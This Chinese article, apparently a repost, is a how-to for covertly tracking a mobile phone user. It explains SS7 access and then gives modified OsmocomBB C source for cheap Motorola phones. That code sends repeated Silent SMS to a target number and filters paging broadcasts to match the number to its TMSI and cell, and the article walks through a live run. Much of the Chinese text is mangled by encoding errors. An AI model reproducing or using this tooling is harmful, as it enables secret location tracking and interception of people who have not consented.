轉(zhuǎn)自:LBS(ID:LocationBasedService)
????????技術(shù)偵查時(shí)我們經(jīng)常需要對目標(biāo)人物進(jìn)行定位,監(jiān)聽目標(biāo)人物的電話和短信。
????????如何做到呢?首選當(dāng)然是高大上的7號信令系統(tǒng)(SS7)。你需要一個(gè)能夠訪問的支持MAP(Mobile Application Part)的SS7信令接入點(diǎn),然后,你理論上就可以偵聽,攔截,偽造全球任何移動用戶的電話和短信了,也可以獲得該手機(jī)當(dāng)前接入的Cell ID從而精確定位。因?yàn)槿虻碾娦胚\(yùn)營商都連在一張信令網(wǎng)上,除非某些運(yùn)營商做了信令過濾,否則不管你從哪個(gè)國家接入SS7,命令在全球運(yùn)營商那里都會得到忠實(shí)執(zhí)行。目前國際上常見的SS7信令接入點(diǎn)的租用價(jià)格是每月幾千美元起,對機(jī)構(gòu)來說并不是很貴。
靜默短信?信令系統(tǒng)#7
????????(SS7:Signaling System #7)由 ITU-T 定義的一組電信協(xié)議,主要用于為電話公司提供局間信令。SS7 中采用的是公共信道信令技術(shù)(CCS:common-channel signaling),也就是帶外(out-of-band)信令技術(shù),即信令服務(wù)提供獨(dú)立的分組交換網(wǎng)絡(luò)。?
????????MAP:Mobile Application Part (移動應(yīng)用部分)七號信令的子集。用于連接分布式交換單元(MSC)和主數(shù)據(jù)庫(HLR)。HLR能動態(tài)存儲移動網(wǎng)絡(luò)用戶的當(dāng)前位置和預(yù)置文件。在處理撥入呼叫的過程中需要使用HLR。當(dāng)網(wǎng)絡(luò)用戶位置改變時(shí),HLR也要相應(yīng)更新,用戶便由網(wǎng)絡(luò)中的其他交換機(jī)服務(wù)。
????????MAP協(xié)議的主要內(nèi)容包括移動性管理、呼叫業(yè)務(wù)處理、補(bǔ)充業(yè)務(wù)處理、短消息業(yè)務(wù)處理、操作維護(hù)和GPRS業(yè)務(wù)處理等。
? ? ? ? 本文介紹一項(xiàng)Slient SMS的低成本實(shí)現(xiàn)方法和簡單應(yīng)用。
????????其實(shí),Silent SMS在各國執(zhí)法部門都大量使用,即使他們同時(shí)也在使用SS7,比如柏林警方去年的發(fā)送數(shù)量就超過了10萬。和SS7只能定位到基站不同,Silent SMS配合偽基站+三角定位法,開闊空間定位精度可以達(dá)到1米左右,實(shí)戰(zhàn)中可以直接定位到廣場上的某個(gè)人。這樣即使目標(biāo)人物使用了易容術(shù),隨身攜帶的手機(jī)也會不知不覺的告訴我們真相。
????????手機(jī)號碼(MSISDN)在移動通信網(wǎng)上是很少進(jìn)行傳輸?shù)摹τ谝苿泳W(wǎng)絡(luò)來說,區(qū)別不同手機(jī)的惟一ID是IMSI(International Mobile Subscriber Identity)。MSISDN是為了方便人類而做的一個(gè)IMSI在現(xiàn)實(shí)世界的映射。你打電話發(fā)短信時(shí)提交的是對方的MSISDN,移動網(wǎng)絡(luò)收到你的請求后要把MSISDN映射回IMSI,然后才能處理。你接電話收短信時(shí)對方的MSISDN也是單獨(dú)發(fā)送給你的,好讓你能知道知道對方是誰。
????????而為了保護(hù)安全和隱私,IMSI在設(shè)計(jì)上也是盡量少的在網(wǎng)絡(luò)上傳輸?shù)模ǔG闆r下只在首次Attach和越區(qū)切換位置更新時(shí)才需要向移動網(wǎng)絡(luò)提交你的IMSI。當(dāng)移動網(wǎng)絡(luò)確認(rèn)你的合法身份后會指派一個(gè)臨時(shí)身份給你,在GSM網(wǎng)絡(luò)里是TMSI(Temporary Mobile Subscriber Identity),在LTE里是S-TMSI(為了簡化我們也把它稱作TMSI),之后在需要身份識別的時(shí)候,都是用TMSI的。
????????IMSI(International Mobile Subscriber Identity,國際移動用戶識別碼)用于在全球范圍唯一標(biāo)識一個(gè)移動用戶。一個(gè)IMSI唯一標(biāo)識一個(gè)移動用戶,在全世界都是有效的。
????????無線網(wǎng)絡(luò)覆蓋的范圍很大,如果IMSI在網(wǎng)絡(luò)中傳遞時(shí)被不法分子獲取,這個(gè)是非常危險(xiǎn)的。所以需要采用另外一種號碼臨時(shí)代替IMSI在網(wǎng)絡(luò)中進(jìn)行傳遞,這就是TMSI(Temporary Mobile Subscriber Identity,臨時(shí)移動用戶標(biāo)識)。采用TMSI來臨時(shí)代替IMSI的目的為了加強(qiáng)系統(tǒng)的保密性,防止非法個(gè)人或團(tuán)體通過監(jiān)聽無線路徑上的信令竊取IMSI或跟蹤用戶的位置。
????????所以,在我們偵聽移動通信時(shí)會發(fā)現(xiàn),上行的通信請求,不管是發(fā)短信還是打通話,只能偵聽到發(fā)起者的TMSI和接收者的MSISDN;而下行的通信,不管是來電話還是來短信,只能偵聽到發(fā)起者的MSISDN和接收者的TMSI。這樣,如果我們不能找出TMSI和MSISDN的一一對應(yīng)關(guān)系,我們就沒法區(qū)分出哪些短信和通話是指向我們的目標(biāo)人物的。
而找出了TMSI和MSISDN的對應(yīng)關(guān)系,也就能通過偵聽知道目標(biāo)手機(jī)當(dāng)前連在哪個(gè)蜂窩基站,從而實(shí)現(xiàn)對目標(biāo)人物的定位。
原理????????當(dāng)有新的Mobile Terminated Services,通常是短信或來電,要傳送的時(shí)候,移動網(wǎng)絡(luò)會發(fā)起Paging。目標(biāo)手機(jī)守聽時(shí)發(fā)現(xiàn)網(wǎng)絡(luò)在呼叫自己的TMSI,就會向網(wǎng)絡(luò)申請一個(gè)信道,申請成功后,手機(jī)轉(zhuǎn)到該信道發(fā)送呼叫響應(yīng),網(wǎng)絡(luò)回復(fù)該呼叫響應(yīng),然后經(jīng)過鑒權(quán)、加密協(xié)商等流程后,網(wǎng)絡(luò)開始向手機(jī)傳送服務(wù),這時(shí)手機(jī)才知道來的是電話還是短信,在收到一部分服務(wù)信息后,手機(jī)開始決定是否提示用戶和如何提示用戶,是來電話了還是收到短信了,是振鈴還是震動等。
????????我們試圖在不驚動目標(biāo)人物的情況下找出TMSI和MSISDN的對應(yīng)關(guān)系,依靠的就是Paging。根據(jù)以上流程我們可以看到,如果我們電話呼叫目標(biāo)手機(jī),在一個(gè)合適的時(shí)間點(diǎn),即網(wǎng)絡(luò)上已經(jīng)廣播了Paging信息,但目標(biāo)手機(jī)還未振鈴之前及時(shí)掛斷,目標(biāo)手機(jī)也是沒有提示的,而我們卻偵聽到了一次Paging。如果能按照一定的時(shí)間間隔和多次重復(fù)這個(gè)過程,我們就能從偵聽到的大量Paging廣播中篩查出目標(biāo)TMSI。問題在于,這個(gè)合適的時(shí)延比較難把握,而且不同運(yùn)營商,甚至不同區(qū)域的網(wǎng)絡(luò)還有差異,調(diào)校起來比較費(fèi)事。這時(shí),Silent SMS就成了我們的首選。
????????Silent SMS是一種特殊格式的短信,在短信報(bào)文頭上設(shè)置特殊的標(biāo)識位以后,接收者手機(jī)收到后不會有任何提示和反應(yīng),也不會存儲短信內(nèi)容,而是直接丟棄。不使用特殊技術(shù)手段無法發(fā)現(xiàn)手機(jī)收到了Silent SMS。向目標(biāo)手機(jī)發(fā)送Silent SMS,我們會偵聽到網(wǎng)絡(luò)廣播的Paging信息,但是不需要像電話呼叫那樣顧慮時(shí)延和及時(shí)掛斷的問題,目標(biāo)手機(jī)上不會有任何提示。而且我們還可以在空中偵聽到短信的完整內(nèi)容,當(dāng)偵聽到我們自己構(gòu)造的特定內(nèi)容的短信可以幫我們進(jìn)一步確認(rèn)該TMSI就是我們的目標(biāo)。
????????TMSI是在一個(gè)LAC(Location Area Code)/TA(Tracking Area)里有效的,每當(dāng)進(jìn)入一個(gè)新的LAC/TA,手機(jī)就會被網(wǎng)絡(luò)指派一個(gè)新的TMSI。要找出的對應(yīng)關(guān)系,必須偵聽目標(biāo)手機(jī)當(dāng)前所在的LAC/TA。對我們有利的是,Paging也是在LAC/TA里有效的,除了LTE的Smart Paging。
低成本實(shí)現(xiàn)
? ? ? ? 經(jīng)費(fèi)不足,情報(bào)工具應(yīng)該盡可能的便宜,所以我們使用開源軟件+廉價(jià)設(shè)備的方式。我們優(yōu)選的方案是OsmocomBB + Motorola C118/C139。
????????網(wǎng)上能找到國外黑客寫的用Python調(diào)用USB短信貓發(fā)送Silent SMS,用Airprobe + RTL-SDR接收的源代碼,但是硬件成本比我們的貴,最關(guān)鍵是代碼比較散。
????????OsmocomBB:基于一套泄露的基帶源代碼重寫的開源的GSM基帶項(xiàng)目,只能支持TI Calypso基帶處理器。被用來參考的那套泄露源代碼不完整,只有90+%的源代碼,部分連接庫沒有源代碼,而且也缺少DSP的代碼。OsmocomBB被設(shè)計(jì)成黑客的實(shí)驗(yàn)工具,而不是供普通用戶使用的手機(jī)系統(tǒng),為了方便編寫和修改,其Layer 2和3是在PC上運(yùn)行的。
????????Motorola C118/C139:玩GSM必備,天然支持跳頻,便宜,淘寶只要7元,可大量購買,接在USB Hub上,實(shí)現(xiàn)多路短信收發(fā)。其中,C139是彩屏,且ROM大些,是有潛力改造成用于復(fù)雜GSM攻擊或工程路測,且支持中文顯示和輸入的黑客手機(jī)的。
????????具體實(shí)現(xiàn)上,我們需要使用兩部C118/C139手機(jī),一部用來發(fā)送Silent SMS,另一部用來偵聽PCH并記錄正在呼叫的TMSI。
C118(左)和C139(右)兄弟合影
如何發(fā)送Silent SMS
????????OsmocomBB里的mobile程序是工作在Layer 2-3,用來收發(fā)短信和接打電話的。我們就修改它來發(fā)送Silent SMS。其實(shí),可以把C118/C139看做是最便宜的短信貓,而修改過的mobile程序就是短信群發(fā)軟件。
????????構(gòu)造Silent SMS
????????每個(gè)短信都有一個(gè)TP-Protocol-Identifier字段,只要設(shè)置為0×40就相當(dāng)于告知接收手機(jī)忽略此短信,所以目標(biāo)手機(jī)會正常接收到這條短信,但是之后既不會提示也不會保存這條短信,只是簡單的丟棄掉。每個(gè)短信還有一個(gè)TP-Data-Coding-Scheme字段,如果把首字節(jié)設(shè)為0xC0,接收手機(jī)同樣會忽略此短信。
????????我們只要在發(fā)短信之前,把對應(yīng)的字段做好設(shè)置,發(fā)出的就是Silent SMS了。這兩個(gè)字段可以都設(shè)置,也可以只設(shè)置一個(gè)。偶爾會碰到運(yùn)營商過濾特殊格式短信的情況,這時(shí)候就需要具體試一下到底哪個(gè)有效。我自己到目前為止沒遇到過濾的情況。
????????主要數(shù)據(jù)結(jié)構(gòu)
????????為了按特定時(shí)序發(fā)送Silent SMS,我們需要一個(gè)定時(shí)器。設(shè)定好時(shí)間間隔,定時(shí)器就會被定時(shí)觸發(fā),然后調(diào)用發(fā)送函數(shù)去發(fā)送一條Silent SMS。
????????為了按特定時(shí)序發(fā)送Silent SMS,我們需要一個(gè)定時(shí)器。設(shè)定好時(shí)間間隔,定時(shí)器就會被定時(shí)觸發(fā),然后調(diào)用發(fā)送函數(shù)去發(fā)送一條Silent SMS。
struct osmo_timer_list tick_timer_smsping;
struct {
int pid;
int dcs;
} silent_sms;
主要源代碼?vty_interface.c
//新增控制臺命令:silent,用于設(shè)置TP-PID和TP-DCS
DEFUN(silent, silent_cmd, "silent TP-PID TP-DCS",
"Set SMS messages header\n"
"1 for 0x40, 0 for default\n"
"1 for 0xC0, 0 for default\n")
{
int pid;
int dcs;
if (argc >= 1) {
pid = atoi(argv[0]);
dcs = atoi(argv[1]);
if (pid) {
silent_sms.pid = 1;
} else {
silent_sms.pid = 0;
}
if (dcs) {
silent_sms.dcs = 1;
} else {
silent_sms.dcs = 0;
}
}
return CMD_SUCCESS;
}
發(fā)送部分的源代碼:if(smscnt == MAX_SMS_Count){//開始批量發(fā)送
tick_timer_smsping.cb = &sms_ping; //初始化定時(shí)器
tick_timer_smsping.data = &timer_step;
smscnt--;
ping_sms_sca = strdup(sms_sca);
ping_number = strdup(number);
ping_sms_txt = strdup(argv_concat(argv, argc, 2));
call_vty = vty;
sms_send(ms, sms_sca, number, argv_concat(argv, argc, 2));
vty_out(vty, "Slient SMS %d sent%s", smscnt, VTY_NEWLINE);
}
gsm411_sms.c
struct gsm_sms *sms_from_text(const char *receiver, int dcs, const char *text)
{
struct gsm_sms *sms = sms_alloc();
if (!sms)
return NULL;
strncpy(sms->text, text, sizeof(sms->text)-1);
sms->reply_path_req = 0;
sms->status_rep_req = 0;
sms->ud_hdr_ind = 0;
if (silent_sms.pid)
sms->protocol_id = 0x40; /* type 0 */
else
sms->protocol_id = 0; /* implicit */
if (silent_sms.dcs)
sms->data_coding_scheme = 0xC0;
else
sms->data_coding_scheme = dcs;
strncpy(sms->address, receiver, sizeof(sms->address)-1);
/* Generate user_data */
sms->user_data_len = gsm_7bit_encode(sms->user_data, sms->text);
return sms;
}
用來重復(fù)發(fā)送的源代碼:
void sms_ping(void *data)
{
struct osmocom_ms *ms;
ms = get_ms("1", call_vty);
vty_notify(ms, "ping sent");
if(smscnt == 0){
return 0;
}
sms_send(ms, ping_sms_sca, ping_number, ping_sms_txt);
smscnt--;
return 0;
}
static int gsm411_sms_report(struct osmocom_ms *ms, struct gsm_sms *sms,
uint8_t cause)
{
vty_notify(ms, NULL);
if (!cause){
vty_notify(ms, "SMS %d to %s successfull\n", smscnt, sms->address);
if(smscnt != 0)
osmo_timer_schedule(&tick_timer_smsping, 10, 0);//定時(shí)間隔10秒
}else
vty_notify(ms, "SMS to %s failed: %s\n", sms->address,
get_value_string(gsm411_rp_cause_strs, cause));
return 0;
}
使用mobile的命令行發(fā)送Silent SMS:
????????使用WireShark偵聽發(fā)送的短信,可以看到TP-PID和TP-DCS分別是0×40,0xC0,短信內(nèi)容為“testing 1 2 3”:
????????在開始發(fā)送Silent SMS的時(shí)候,就立刻啟動ccch_scan記錄所有Paging的TMSI。通常,從開始發(fā)短信,到空中出現(xiàn)Paging信息,最快3秒鐘,多數(shù)情況6-7秒鐘。繁忙的基站每秒廣播20多次尋呼。所以我們把TMSI隊(duì)列深度設(shè)為300是足夠的,大約可記錄從發(fā)送Silent SMS開始15秒內(nèi)的所有被呼叫的TMSI,這300個(gè)里面一定有我們的目標(biāo)的TMSI,通常是在前面開始部分。隊(duì)列到300為止,我們就是在這300個(gè)里面找出來重復(fù)次數(shù)大于我們設(shè)定次數(shù)的TMSI并打印出來。數(shù)據(jù)結(jié)構(gòu)
struct _tmsis_ {
uint8_t tmsi[4];
char cnt;
} tmsis[300];
列出TMSI的源代碼
void tmsi_match(uint8_t *t)
{
if(app_state.finding==1){
int i;
int f=0;
for(i=0; i < app_state.tmsicnt; i++){
if(!memcmp(t, tmsis[i].tmsi, 4)) {
tmsis[i].cnt += 1;
f=1;
if(tmsis[i].cnt > app_state.mincnt){
printf("Possible TMSI: #%d, \t%s, %d times\n", i, osmo_hexdump(t,4), tmsis[i].cnt);
}
}
}
if((f==0)&&(app_state.tmsicnt<300)){//隊(duì)列深度?
app_state.tmsicnt += 1;
memcpy(tmsis[i].tmsi,t,4);
tmsis[i].cnt = 1;
printf("New TMSI:#%d, %s \tTotal: %d\n", i, osmo_hexdump(t,4), app_state.tmsicnt);
}
return;
}
if(!memcmp(t, app_state.wanted_tmsi, 4)) {
app_state.tmsi_matched = 1;
printf("TMSI Match %s\n", osmo_hexdump(t,4));
}
}
????????我們給ccch_scan新增加一個(gè)參數(shù):-f paging次數(shù)。
????????國內(nèi)不少地方為了提高接通率,當(dāng)有Mobile Terminated Service要傳遞的時(shí)候是重復(fù)發(fā)出尋呼信息的,有的是Paging兩次,多的甚至連續(xù)尋呼四次。這樣如果你連續(xù)向目標(biāo)手機(jī)發(fā)送10次短信,可能會偵聽到20-40次Paging。所以你實(shí)戰(zhàn)中你需要先偵聽網(wǎng)絡(luò)的PCH來以確定當(dāng)?shù)氐脑O(shè)置情況。
static int l23_cfg_print_help()
{
printf("\nApplication specific\n");
printf("? -k --kc KEY ? ? ? ? ? Key to use to try to decipher DCCHs\n");
printf("? -t --tmsi TMSI? ? ? ? Filter assignments with specified TMSI (paging only)\n");
printf("? -f --count Filter paging TMSI\n");
return 0;
}
static int l23_cfg_handle(int c, const char *optarg)
{
switch (c) {
case 'k':
if (osmo_hexparse(optarg, app_state.kc, 8) != 8) {
fprintf(stderr, "Invalid Kc\n");
exit(-1);
}
break;
case 't':
if (osmo_hexparse(optarg, app_state.wanted_tmsi, 4) != 4) {
fprintf(stderr, "Invalid TMSI\n");
exit(-1);
}
app_state.finding = 0;
break;
case 'f':
app_state.finding = 1;
app_state.mincnt= atoi(optarg);
break;
default:
return -1;
}
return 0;
}
????????運(yùn)行ccch_scan來開始篩選TMSI,我們要求程序列出Paging超過16次的TMSI:
????????同時(shí)顯示發(fā)送和篩選兩個(gè)窗口,有的TMSI隨著每次短信發(fā)送有節(jié)奏的出現(xiàn),很快有一個(gè)TMSI就引起了我們的注意:818003B5,隨著不斷的發(fā)送短信,還不到10次短信,我們已經(jīng)可以確定目標(biāo)TMSI就是它。而且可以看出當(dāng)前網(wǎng)絡(luò)每傳遞一次短信就偵聽到4次Paging:
????????我們拿出目標(biāo)手機(jī)來確認(rèn)一下,果然是這個(gè)TMSI。注意,為了工作方便,朝陽群眾大都隨身攜帶這種已開啟Net Monitor的Nokia 3110手機(jī):
????????用WireShark來偵聽目標(biāo)手機(jī)接收到的短信:
電子發(fā)燒友App




















評論